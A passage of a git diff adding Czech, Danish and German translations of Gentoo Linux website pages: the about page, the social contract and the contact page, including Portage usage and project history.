+přidávají</uri>.
+</p>
+
+<p>
+Portage se také používá na <e>vytváření a instalaci balíčků</e>. Chcete-li
+nainstalovat nějaký balík, jednoduše spustíte <c>emerge jméno-balíčku</c> a
+Portage se samo postará o jeho sestavení přesně podle vašeho přání spolu
+s&nbsp;optimalizacemi pro hardware, jež používáte, a zajistí, aby byly aktivní
+ty volitelné funkce daného balíku, jež si přejete, a zbylé nikoli.
+</p>
+
+<p>
+Dalším z&nbsp;úkolů Portage je udržování systému v&nbsp;aktuálním stavu. Jeden
+příkaz, <c>emerge -uD world</c>, a máte zajištěno, že balíčky, které
+<e>chcete mít</e> v&nbsp;systému, jsou automaticky zaktualizovány.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/cs/contract.xml b/xml/htdocs/main/cs/contract.xml
new file mode 100644
index 00000000..54d8e3e6
--- /dev/null
+++ b/xml/htdocs/main/cs/contract.xml
@@ -0,0 +1,137 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/cs/contract.xml,v 1.5 2007/06/09 13:36:52 jkt Exp $ -->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="cs">
+<title>Společenská smlouva Gentoo</title>
+
+<author title="Autor">
+  Gentoo projekt
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Překladatel">
+  <mail link="jkt@gentoo.org">Jan Kundrát</mail>
+</author>
+
+<abstract>
+Tento dokument obsahuje slib Gentoo komunitě o svobodě softwaru, otevřenosti
+vývojového procesu a zpětné vazbě, jež budeme poskytovat jiným projektům na poli
+svobodného softwaru.
+</abstract>
+<license/>
+
+<version>1.10</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>Společenská smlouva</title>
+<section>
+<body>
+
+<p>
+Účelem této smlouvy je jasně popsat zásady a standardy vývoje, kterými se řídí
+celý náš tým. Při její tvorbě jsme částečně vycházeli ze&nbsp;<uri
+link="http://www.debian.org/social_contract">společenské smlouvy Debianu</uri>.
+Naše smlouva je jí velmi podobná, avšak některé části byly vyjasněny a
+doladěny, zatímco jiné, které jsme považovali za zbytečné, byly vypuštěny. Rádi
+si vyslechneme vaše komentáře, adresujte je prosím do poštovní konference <mail 
+link="gentoo-dev@gentoo.org">gentoo-dev@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Co je Gentoo?</title>
+<body>
+
+<p>
+Gentoo samo je sbírka svobodných vědomostí, kde vědomostmi jsou dokumentace a
+metadata týkající se operačních systémů a jejich komponent, stejně jako <uri
+link="http://www.fsf.org/philosophy/free-sw.html">svobodný software</uri>,
+jehož vývojáři přispěli do projektu Gentoo.
+</p>
+
+<p>
+Gentoo coby operační systém je odvozen od výše popsaného základního konceptu.
+Měl by splňovat požadavek takzvaného "self-hostingu", tj. měl by být schopen na
+základě zmíněných nástrojů a metadat vytvořit sám sebe od nuly. Pokud nějaký
+produkt spjatý s&nbsp;oficiálním projektem Gentoo tato kritéria nesplňuje, nelze
+jej nazývat operačním systémem Gentoo.
+</p>
+
+<p>
+Oficiální seznam Gentoo projektů je k&nbsp;dispozici v&nbsp;dokumentu <uri
+link="http://www.gentoo.org/proj/en/metastructure/projects.xml">Gentoo
+metastruktura</uri>. Aby byl nějaký produkt považován za&nbsp;oficiální, nemusí
+vytvářet operační systém Gentoo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo je svobodný software a zůstane jím</title>
+<body>
+
+<p>
+Svoje příspěvky do Gentoo ve formě svobodného softwaru, metadat či dokumentace
+budeme uvolňovat pod licencí GNU General Public License verze 2 (nebo pozdější,
+podle svého rozhodnutí) nebo Creative Commons - Attribution / Share Alike
+verze 2 (nebo pozdější, podle svého rozhodnutí). Externí příspěvky do Gentoo
+(ve formě volně šiřitelných zdrojových kódů, binárních aplikací, metadat či
+dokumentace) mohou být do Gentoo zahrnuty, pokud k&nbsp;tomu budeme mít zákonné
+oprávnění. Gentoo však nebude nikdy <e>záviset</e> na nějakém softwaru či
+metadatech, pokud tyto nebudou odpovídat licenci GNU General Public License,
+licenci GNU Lesser General Public License, licenci Creative Commons -
+Attribution/Share Alike či nějaké jiné licenci schválené organizací Open Source
+Initiative (<uri
+link="http://www.opensource.org/licenses/index.html">OSI</uri>).
+</p>
+
+<note>
+Zvažujeme, zda nemáme výše uvedeno klauzuli rozšířit tak, aby vyžadovala, že
+všechny klíčové komponenty Gentoo musí splňovat licenci schválenou OSI <e>a
+zároveň</e> nadací Free Software Foundation (<uri
+link="http://www.gnu.org/">FSF</uri>).
+</note>
+
+</body>
+</section>
+<section>
+<title>Budeme přispívat komunitě svobodného softwaru</title>
+<body>
+
+<p>
+S&nbsp;autory svobodného softwaru budeme vytvářet dobré vztahy a spolupracovat
+s&nbsp;nimi, pokud to bude možné. Opravy chyb, vylepšení, požadavky uživatelů
+atd. budeme předávat původním autorům software v&nbsp;našem systému
+distribuovaného. <e>Vlastní příspěvky</e> do Gentoo, stejně jako vylepšení či změny
+jiných zdrojů v&nbsp;Gentoo používaných (ať už ve&nbsp;formě patchů, "sed
+tweaků" či jiné) budeme zároveň přehledně dokumentovat. Jsme si vědomi, že naše
+změny budou mít pro zbytek komunity mnohem větší význam, pokud budou vysvětlené
+a dobře zdokumentované, neboť ne každý má čas či schopnost porozumět přesným
+změnám, které jsou v&nbsp;našich úpravách obsaženy.
+</p>
+
+</body>
+</section>
+<section>
+<title>Nebudeme skrývat problémy</title>
+<body>
+
+<p>
+Naše <uri link="http://bugs.gentoo.org/">databáze chyb</uri> bude vždy
+přístupná veřejnosti — zprávy, jež uživatelé zadají, budou ihned viditelné
+ostatním.
+</p>
+
+<p>
+Výjimkou jsou informace ohledně bezpečnosti a vztahů mezi vývojáři (developer
+relations) zahrnující žádost veřejně nepublikovat před určitým termínem.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/da/about.xml b/xml/htdocs/main/da/about.xml
new file mode 100644
index 00000000..100657ad
--- /dev/null
+++ b/xml/htdocs/main/da/about.xml
@@ -0,0 +1,211 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/da/about.xml,v 1.11 2007/03/16 10:40:44 neysx Exp $ -->
+
+<mainpage lang="da">
+<title>Omkring Gentoo Linux</title>
+<author title="Forfatter">
+<mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Redaktør">
+<mail link="peesh@gentoo.org">Jorge Paulo</mail>
+</author>
+<author title="Redaktør">
+<mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Redaktør">
+<mail link="fox2make@gmail.com">Shyam Mani</mail>
+</author>
+<author title="Redaktør">
+<mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Oversætter">
+<mail link="aaby@gentoo.org">Arne Mejlholm</mail>
+</author>
+<author title="Korrektur">
+<mail link="broeman@gentoo.org">Jesper Brodersen</mail>
+</author>
+
+
+<version>1.0.15</version>
+<date>2005-02-10</date>
+
+<chapter>
+<title>About Gentoo Linux</title>
+<section>
+<title>Gentoo Linux... som en plakat</title>
+<body>
+  <fig link="/images/poster.jpg"/>
+</body>
+</section>
+<section>
+<title>Gentoo Linux som en paragraf</title>
+<body>
+
+<p>
+Vi producerer Gentoo Linux, en speciel variant af Linux, der kan optimeres
+og skræddersys automatisk lige til enhver applikation eller ethvert
+behov. Ekstrem ydelse, opsætningmuligheder og et førsteklasses bruger-
+og udvikler-community, er en stor del af Gentoo-oplevelsen.
+</p>
+
+<p> 
+Takket være en teknologi kaldet Portage, kan Gentoo Linux blive en
+ideel sikker server, udviklingsstation, professionelt skrivebord,
+spillesystem eller noget andet -- hvad du end har brug for, at det skal være.
+På grund af den næsten ubegrænsede tilpasningsevne, kalder vi Gentoo
+Linux for en <b>meta</b>distribution.  
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Hvad er Portage?</title>
+<body>
+
+<p>
+<b>Portage</b> er hjertet af Gentoo Linux, og den udfører mange
+vigtige funktioner. Et eksempel er, at Portage er <e>software
+distribution</e>s systemet til Gentoo Linux. For at få det nyeste
+software til Gentoo Linux, kan du skrive en kommando: <c>emerge
+sync</c>. Denne kommando beder Portage om at opdatere dit lokale
+"Portage-træ" fra Internettet. Dit lokale Portage-træ indeholder en
+komplet samling af scripts, der kan bruges af Portage, til at lave eller
+installere de nyeste Gentoo pakker. Pt. har vi <uri
+link="http://packages.gentoo.org/">næsten 7000 pakker</uri> i vores
+Portage-træ, og der kommer nye til, hele tiden.
+</p>
+
+<p>
+Portage er også et system til at <e>bygge og installere
+pakker</e>. Når du vil installere en pakke, skriver du <c>emerge
+pakkenavn</c> hvorefter Portage automatisk bygger en skræddersyet
+udgave af pakken til dine eksakte specifikationer, optimerer det til
+din hardware og sikrer, at de valgfrie egenskaber i pakken du ønsker,
+bliver tilføjet -- og dem du ikke ønsker, ikke bliver.
+</p>
+
+<p>
+Portage holder også dit system <e>up-to-date</e>. Ved at skrive <c>emerge -u
+world</c> -- én kommando -- sikrer du at alle de pakker <e>du</e> ønsker
+på dit system, bliver automatisk opdateret.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Gentoo Linux</title>
+<body>
+
+<p>
+Portage vil holde dit Gentoo Linux system så opdateret, som du
+ønsker det. Og på grund af dette, holder erfarne Gentoo brugere ikke meget
+øje med "nye versioner" af Gentoo Linux -- da når alt kommer til alt, er 
+den nyeste og bedste version af Gentoo Linux altid tilgængelig, ved at
+skrive en <c>emerge --sync</c> kommando. Der er ikke noget behov for, at
+vente flere måneder på at en "ny version" af Gentoo Linux bliver
+frigivet, fordi Gentoo Linux kontinuert bliver opdateret og forbedret
+og disse forbedringer med det samme bliver tilgængelige for dig.
+</p>
+
+<p>
+Selvfølgelig opdaterer vi de officielle CD-udgivelser af Gentoo Linux
+sådan at de nyeste Gentoo Linux installationer er så opdaterede, som
+muligt fra starten af. Her er en oversigt af, hvad der er inkluderet i
+den nyeste udgivelse af Gentoo Linux:
+</p>
+
+<ul>
+<li>Understøttelse for x86, AMD64, PowerPC, UltraSparc, Alpha og MIPS processorer</li>
+<li>LiveCD-baseret installation til x86, AMD64, PowerPC, UltraSparc og Alpha</li>
+<li>Nyeste stabile KDE og GNOME</li>
+<li>Forskellige optimerede Linux-kerner</li>
+<li>Meget moderne GNU-udviklingsmiljø</li>
+<li>Fremragende understøttelse for filsystemer: ReiserFS, XFS, ext3, EVMS, LVM</li>
+<li>Fremragende understøttelse for hardware: NVIDIA, Creative Labs Live! og Audigy</li>
+<li>Modulær OpenGL- og compiler-undersystem (understøtter flere samtidige versioner)</li>
+<li>Ren, afhængighedsbaseret opstartsscriptsystem (initialization scripts system)</li>
+<li>Nyt hærdet Gentoo sikkerhedsinitiativ</li>
+<li>8000+ packages af det nyeste og bedste software</li>
+<li>Forbedrede Portage egenskaber</li>
+</ul>
+
+<p>
+Hvis Gentoo Linuxs kraft, hurtighed og fleksibilitet appellerer til
+dig, så opfordrer vi dig til at prøve det. Vi tror ikke, at du bliver skuffe.t
+</p>
+
+ </body>
+</section>
+
+<section>
+<title>Gentoos Historie</title>
+<body>
+ 
+<p>
+Det begyndte med ekstra tid. Tid til at udforske, tid til at opdage,
+tid til at eksperimentere. Det var sådan skaberen af Gentoo, Daniel
+Robbins trådte ind i Linux verdenen. Han startede med Debian Linux,
+satte et par applikationer op, lærte ind og ud om Linux og som de
+fleste Linux brugere gør, prøvede et par distributioner og fandt sig
+godt tilpas med en distro ved navn Stampede Linux. Snart var han med
+i udviklingen af Stampede og ved at arbejde på deres pakkestyrings
+system. Efter en periode af tid og pga. nogle bestemte ting, gik han
+videre og besluttede at lave hans egen distribution.
+</p>
+
+<p>
+Således blev Enoch født, Daniel ønskede at Enoch skulle være en
+lynende hurtig distro med muligheder for at automatisere pakke
+skabelsen og opgraderingen fuldstændigt. Snart var der en #enoch på
+irc.freenode.net og 10 udviklere der hjalp med distroen. Imens Enoch
+begyndte at udvikle sig, over en periode af tid, følte de at den havde
+brug for et nyt navn. De kaldte den Gentoo Linux. Omkring det
+tidspunkt hvor Gentoo var på vej mod sin 1.0 udgivelse købte Daniel en
+ny, hurtig maskine. Modellen af bundkortet havde en defekt chip der
+fik Linux til at låse når den ikke processerede og pga. det gik
+udviklingen af Gentoo Linux helt i stå.
+</p>
+ 
+<p>
+Da der ikke skete noget med Gentoo skiftede Daniel til FreeBSD. Han
+kunne godt lide hvad han så. Specielt "Ports" systemet og han
+kom tilbage til Linux verdenen. Med hjælp fra de andre udviklere, såsom
+Achim Gottinger, kom Gentoo tilbage på sporet &amp; fuld fart
+fremad. Hele pakkestyringssystemet blev designet igen &amp; og kaldt
+Portage. Gentoo har været i aktiv udvikling lige siden da, med masser
+af egenskaber der er blevet tilføjet over årene. Hold af frivillige
+hjælper med at holde Gentoo fremme hvor det sker og patchet til at
+sikre maksimum sikkerhed &amp; stabilitet.
+</p>
+ 
+<p>
+Gentoos udviklingsmodel blev udvidet med en komplet projekt-baseret
+tilgang, hvor hvert projekt udvikler uafhængigt men i samarbejde med
+andre Gentoo projekter. Regelmæssige møder mellem lederne af
+projekterne (kaldet "projekt mangere") holder udviklingen i høj
+fart. Gentoo fundationen er blevet lavet for at håndtere finansielle
+sager, juridisk beskyttelse og holde øje med den generelle udvikling
+af Gentoo for at holde den i overensstemmelse med den <uri
+link="/main/en/contract.xml">Sociale Kontrakt</uri>(engelsk).
+</p>
+
+<p>
+I April 2004 besluttede Daniel at fratræde hans udviklingsmæssige
+ansvarsområder indenfor Gentoo. Vi er alle meget taknemmelige for alt
+det arbejde Daniel har lagt i Gentoo og ønsker ham det bedste.
+</p>
+
+<p>
+Gentoo fortsætter stadig med at vokse, udvikle og forbedre sig selv -
+nye projekter kommer til, nye udviklere slutter sig til, nye
+pakker bliver tilføjet hver dag. Gentoos udvikler og bruger
+community er uden tvivl Gentoos største værdi.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/de/about.xml b/xml/htdocs/main/de/about.xml
new file mode 100644
index 00000000..cc2156cb
--- /dev/null
+++ b/xml/htdocs/main/de/about.xml
@@ -0,0 +1,126 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/de/about.xml,v 1.8 2009/01/03 14:59:05 keytoaster Exp $ -->
+
+<!-- English CVS Version: 1.39 -->
+
+<mainpage lang="de">
+<title>Über Gentoo Linux</title>
+
+<author title="Autor">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="peesh@gentoo.org">Jorge Paulo</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="fox2mike@gmail.com">Shyam Mani</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="pylon@gentoo.org">Lars Weiler</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="keytoaster@gentoo.org">Tobias Heinlein</mail>
+</author>
+
+<abstract>
+Über Gentoo, eine Übersicht.
+</abstract>
+
+<license/>
+
+<version>1.7</version>
+<date>2007-09-17</date>
+
+<chapter>
+<title>Über Gentoo</title>
+<section>
+<body>
+
+<fig link="/images/poster.jpg"/>
+
+</body>
+</section>
+<section>
+<title>Was ist Gentoo?</title>
+<body>
+
+<p>
+Gentoo ist ein freies Betriebssystem, das entweder auf Linux oder FreeBSD
+basiert und automatisch für nahezu jede Applikation oder jeden Einsatz optimiert
+und angepasst werden kann.  Extreme Konfigurierbarkeit, Leistung und eine
+erstklassige Benutzer- und Entwicklergemeinde sind die Gütezeichen von Gentoo.
+</p>
+
+<p>
+Dank der Technologie namens Portage, kann Gentoo Linux als ein idealer sicherer
+Server, eine Entwicklerumgebung, ein professioneller Arbeitsplatzrechner,
+ein Spielesystem, eine embedded solution oder etwas anderes sein -- wie immer
+Sie es benötigen. Aufgrund seiner nahezu unbegrenzten Anpassbarkeit, nennen wir
+Gentoo Linux eine <b>Meta</b>distribution.
+</p>
+
+<p>
+Natürlich ist Gentoo mehr als die Software, die es bereitstellt. Es ist eine
+Community, die sich um eine Distribution gebildet hat, die von mehr als 300
+Entwicklern und Tausenden von Benutzern betrieben wird. Das Distributionsprojekt
+stellt die Mittel bereit, damit die Benutzer Gentoo genießen können:
+Dokumentation, Infrastruktur (Mailing-Listen, Seiten, Foren, ...), Release
+Engineering, Softwareportierung, Qualitätssicherstellung, Security, Hardening,
+und vieles mehr.
+</p>
+
+<p>
+Um Gentoos globaler Entwicklung Ratschläge zu geben und zu helfen, wird jedes
+Jahr ein <uri link="/proj/en/council/"> aus 7 Mitgliedern bestehender
+Council</uri> gewählt, der über globale Probleme, Richtlinien und Fortschritte
+im Gentoo-Projekt entscheidet.
+</p>
+
+</body>
+</section>
+<section>
+<title>Was ist Portage?</title>
+<body>
+
+<p>
+<b>Portage</b> ist das Herz von Gentoo und übt viele Schlüsselfunktionen aus.
+Zum einen ist Portage das <e>Software Distributions</e>-System für Gentoo. Um
+die neueste Software für Gentoo zu erhalten, geben Sie einfach das Kommando
+<c>emerge --sync</c> ein. Dadurch wird Portage angewiesen, Ihren lokalen
+"Portage tree" über das Internet auf den neuesten Stand zu bringen. Ihr lokaler
+Portage tree enthält eine komplette Sammlung von Skripten, die von Portage
+verwendet werden, um die neuesten Gentoo Pakete zu installieren. Derzeit haben
+wir <uri link="http://packages.gentoo.org/">mehr als 10000 Pakete</uri> in
+unserem Portage tree, und Updates und neue werden <uri
+link="http://packages.gentoo.org">ständig</uri> hinzugefügt.
+</p>
+
+<p>
+Portage ist auch ein <e>Paketbau- und -installationssystem</e>. Wenn Sie ein
+Paket installieren möchten, geben Sie <c>emerge Paketname</c> ein, wodurch
+Portage automatisch eine individuelle Version des Paketes installiert -- mit
+Ihren speziellen Wünschen, Optimierungen für Ihre Hardware und aktivierten (oder
+deaktivierten, wenn Sie diese nicht wollen) optionalen Zusatzfunktionen, die das
+Paket bereitstellt.
+</p>
+
+<p>
+Portage hält auch Ihr System <e>auf dem neusten Stand</e> (up-to-date). Allein
+durch das Kommando <c>emerge -uD world</c> werden alle Pakete, die <e>Sie</e>
+auf Ihrem System haben wollen, auf den neuesten Stand gebracht.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/de/contact.xml b/xml/htdocs/main/de/contact.xml
new file mode 100644
index 00000000..4cf895ee
--- /dev/null
+++ b/xml/htdocs/main/de/contact.xml
@@ -0,0 +1,140 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: -->
+
+<mainpage>
+<title>Ansprechpartner für Gentoo Linux</title>
+
+<author title="Autor">
+  <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="micm@micm.eu">Michael Münch</mail>
+</author>
+
+<abstract>
+Wie Sie Gentoo erreichen können
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2006-08-01</date>
+
+<chapter>
+<title>An wen wende ich mich?</title>
+<section>
+<title>Inhalt</title>
+<body>
+
+<ul>
+  <li><uri link="#intro">Einführung</uri></li>
+  <li><uri link="#pr">Public Relations/Events</uri></li>
+  <li><uri link="#www">Webmaster</uri></li>
+  <li><uri link="#trustees">Gentoo Foundation</uri></li>
+</ul>
+
+</body>
+</section>
+
+<section id="intro">
+<title>Einführung</title>
+<body>
+
+<p>
+"Gentoo" ist vieles. Es ist eine community-basierende Linux-Distribution. Es
+ist eine Paketverwaltungsphilosophie. Es ist auch eine gemeinnützige
+Organisation. Dieses Dokument wurde erstellt, um Sie mit der richtigen Gruppe
+innerhalb von Gentoo in Verbindung zu bringen, so dass Ihre Anfragen so schnell
+wie möglich beantwortet werden können.
+</p>
+
+<p>
+Für Informationen bezüglich anstehender Events oder Interviews, für allgemeine
+Fragen oder um mehr über Gentoo und seine Produkte herauszufinden, wenden Sie
+sich bitte an jemanden aus dem <uri link="#pr">Public Relations</uri> Projekt.
+</p>
+
+<p>
+Für Informationen bezüglich dieser Website oder einer anderen Website, die auf
+<c>gentoo.org</c> gehostet wird, wenden Sie sich bitte an Gentoos <uri
+link="#www">Webmaster</uri>.
+</p>
+
+<p>
+Für Informationen über die Gentoo Foundation oder bei allen Fragen rund um
+Gentoos geistiges Eigentum, Warenzeichen und Urheberrechten, wenden Sie sich
+bitte an das <uri link="#trustees">Board of Trustees</uri> der Gentoo
+Foundation.
+</p>
+
+<p>
+Wenn Sie Unterstützung für Gentoo Linux oder eines der anderen Gentoo Produkte
+oder Projekte benötigen, finden Sie weitere Informationen auf unserer <uri
+link="/main/de/support.xml">Supportseite</uri>.
+</p>
+
+</body>
+</section>
+
+<section id="pr">
+<title>Public Relations</title>
+<body>
+
+<p>
+Das Gentoo <uri link="/proj/en/pr/">Public Relations</uri> Projekt und sein
+Teilprojekt <uri link="/proj/en/pr/events/">Events</uri> sind verantwortlich
+für die Verbreitung der Informationen rund um Gentoo. Außerdem übernehmen sie
+die Koordination der Gentoo-Präsenz innerhalb der Community auf Messen und
+Ausstellungen.
+</p>
+
+<p>
+Das PR-Team ist sehr wahrscheinlich das Team, das Sie kontaktieren wollen, da
+es den Zugang zu Gentoos innerer Arbeit darstellt. Wenn Sie Material für einen
+Artikel, Interviewpartner oder Informationen über Gentoo und seine Angebote
+benötigen, ist das PR-Team Ihr Anlaufpunkt. Um das PR-Team zu kontaktieren,
+senden Sie einfach eine englischsprachige E-Mail an <mail>pr@gentoo.org</mail>
+und jemand aus dem Team wird Ihnen schnellstmöglich antworten.
+</p>
+
+</body>
+</section>
+
+<section id="www">
+<title>Webmaster</title>
+<body>
+
+<p>
+Die Pflege von Gentoos Webpräsenz ist eine gewaltige Aufgabe. Gentoo hat dazu
+ein festes Team von Webmastern, die unsere Website aktuell und gut aussehend
+halten. Wenn Sie Fragen oder Anregungen zu der Gentoo Website haben, wollen Sie
+dieses Team kontaktieren. Dazu senden Sie einfach eine englischsprachige E-Mail
+an <mail>www@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+
+<section id="trustees">
+<title>Das Gentoo Foundation Board of Trustees</title>
+<body>
+
+<p>
+<uri link="/foundation/en/">Die Gentoo Foundation</uri> ist eine gemeinnützige
+Organisation, die zum Schutz von Gentoos geistigem Eigentum gegründet wurde. Das
+Board of Trustees besteht aus gewählten Vertretern, die die juristische Person
+von Gentoo innerhalb der Vereinigten Staaten bilden. Wenn Ihre Frage rechtlicher
+Natur ist, senden Sie bitte eine englischsprachige E-Mail an
+<mail>trustees@gentoo.org</mail> und ein Mitglied des Boards wird so schnell wie
+möglich auf Sie zurückkommen.
+</p>
+
+</body>
+</section>
+
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/de/contract.xml b/xml/htdocs/main/de/contract.xml
new file mode 100644
index 00000000..c357c729
--- /dev/null
+++ b/xml/htdocs/main/de/contract.xml
@@ -0,0 +1,148 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!-- $Header:-->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="de">
+<title>Der Gentoo Gesellschaftsvertrag</title>
+
+<author title="Autor">
+  Das Gentoo Projekt
+</author>
+<author title="Bearbeiter">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="martin_winkler@gmx.de">Martin Winkler</mail>
+</author>
+
+<abstract>
+Dieses Dokument enthält eine Zusicherung an die Gentoo-Gemeinschaft bezüglich
+der Freiheit der Gentoo Software, der Offenheit des Gentoo Entwicklungsprozesses
+und dessen, was wir der Gemeinschaft der Freien Software zurückgeben.
+</abstract>
+
+<license/>
+
+<version>1.10</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>Der Gentoo Gesellschaftsvertrag</title>
+<section>
+<body>
+
+<p>
+Dieser Gesellschaftsvertrag hat die Aufgabe, die übergreifenden
+Entwicklungsrichtlinien und Standards des Gentoo Projektentwicklungsteams
+eindeutig zu beschreiben. Teile dieses Dokuments wurden vom
+<uri link="http://www.debian.org/social_contract">
+Debian Gesellschaftsvertrag</uri> abgeleitet. Es ist diesem im Allgemeinen
+ziemlich ähnlich, außer dass bestimmte Teile verdeutlicht und erweitert worden
+sind, während andere Teile für überflüssig gehalten und entfernt wurden.
+Kommentare sind willkommen. Schicken Sie diese an unsere <mail
+link="gentoo-dev@gentoo.org">gentoo-dev@gentoo.org</mail> Mailing-Liste.
+</p>
+
+</body>
+</section>
+<section>
+<title>Was ist Gentoo?</title>
+<body>
+
+<p>
+Gentoo an sich ist eine Sammlung freien Wissens. Wissen in diesem Zusammenhang
+kann als Dokumentation und Metadaten verstanden werden, welche sich mit
+Konzepten oder Wissensgebieten befassen, die für Betriebssysteme und ihre
+Bestandteile von Bedeutung sind, genauso wie <uri
+link="http://www.fsf.org/philosophy/free-sw.html">Freie Software</uri>, die von
+verschiedenen Entwicklern zum Gentoo Projekt beigesteuert wird.
+</p>
+
+<p>
+Gentoo, das Betriebssystem, ist vom oben beschriebenen Grundkonzept des Wissens
+abgeleitet. Ein Gentoo Betriebssystem sollte die Anforderung erfüllen können,
+sein eigener Wirt zu sein. Mit anderen Worten, das Betriebssystem sollte in der
+Lage sein, sich selbst von Grund auf aufzubauen unter Verwendung der
+vorgenannten Werkzeuge und Metadaten. Wenn ein Produkt, das mit einem
+offiziellen Gentoo Projekt verbunden ist, diese Anforderungen nicht erfüllt,
+qualifiziert es sich nicht als ein Gentoo Betriebssystem.
+</p>
+
+<p>
+Eine offizielle Liste von Gentoo Projekten ist aufgeführt unter
+<uri link="http://www.gentoo.org/proj/en/metastructure/projects.xml">Gentoo
+Metastructure</uri>. Ein Gentoo Projekt muss kein Gentoo Betriebssystem
+hervorbringen, um offiziell anerkannt zu werden.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo ist Freie Software und wird es bleiben</title>
+<body>
+
+<p>
+Unsere Beiträge zu Gentoo werden wir als freie Software, Metadaten oder
+Dokumentation veröffentlichen, unter der "GNU General Public License version 2"
+(oder spätere, nach unserem Ermessen) oder unter der "Creative Commons -
+Attribution / Share Alike version 2" (oder spätere, nach unserem Ermessen).
+Jegliche Beiträge von außen zu Gentoo (in Form von frei verteilbarem Quellcode,
+Binärdateien, Metadaten oder Dokumentation) können in Gentoo integriert werden,
+vorausgesetzt, man räumt uns das Recht dazu ein. Dennoch wird Gentoo niemals von
+einem Stück Software oder Metadaten <e>abhängig</e> sein, solange dieses nicht
+der "GNU General Public License", der "GNU Lesser General Public License", der
+"Creative Commons - Attribution/Share Alike" oder einer anderen Lizenz
+entspricht, die von der Open Source Initiative (<uri
+link="http://www.opensource.org/licenses/index.html">OSI</uri>) anerkannt wird.
+</p>
+
+<note>
+Wir denken darüber nach, die obige Klausel zu erweitern, um zu verlangen, dass
+alle Kernkomponenten von Gentoo einer Lizenz entsprechen müssen, die von der OSI
+<e>und</e> von der Free Software Foundation (<uri
+link="http://www.gnu.org/">FSF</uri>) anerkannt wird.
+</note>
+
+</body>
+</section>
+<section>
+<title>Wir werden der Gemeinschaft der Freien Software etwas zurückgeben</title>
+<body>
+
+<p>
+Wir werden Beziehungen zu Autoren freier Software aufbauen und wenn möglich
+mit ihnen zusammenarbeiten. Wir werden den vorgelagerten (engl.: "upstream")
+Autoren der Software, die in unser System integriert ist, Fehlerbehebungen,
+Verbesserungen, Anwenderanforderungen usw. einreichen. Wir werden auch
+<e>unsere</e> Beiträge zu Gentoo klar dokumentieren, genauso wie jegliche
+Verbesserungen oder Änderungen, die wir an externen Quellen durchführen, die von
+Gentoo benutzt werden (ob in der Form von Patches, "sed tweaks" oder in einer
+anderen Form). Wir räumen ein, dass unsere Verbesserungen und Änderungen für die
+größere Gemeinschaft der Freien Software viel aussagekräftiger sind, wenn sie
+klar dokumentiert und erklärt werden, weil nicht jeder die Zeit oder die
+Fähigkeit hat, die eigentlichen Änderungen selbst zu verstehen, die in den
+Patches oder "Tweaks" enthalten sind.
+</p>
+
+</body>
+</section>
+<section>
+<title>Wir werden Probleme nicht verheimlichen</title>
+<body>
+
+<p>
+Wir werden unsere <uri link="http://bugs.gentoo.org/">Fehlerdatenbank</uri>
+zu allen Zeiten zur öffentlichen Einsicht offen halten; Fehlermeldungen, die
+Anwender online eintragen, werden für andere sofort sichtbar.
+</p>
+
+<p>
+Ausnahmen werden gemacht, wenn wir sicherheitsbezogene Informationen oder
+Informationen zwischen Entwicklern untereinander mit der Bitte erhalten, sie
+nicht vor einem bestimmten Termin zu veröffentlichen.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/de/graphics.xml b/xml/htdocs/main/de/graphics.xml
new file mode 100644
index 00000000..67ee498e
--- /dev/null
+++ b/xml/htdocs/main/de/graphics.xml
@@ -0,0 +1,447 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
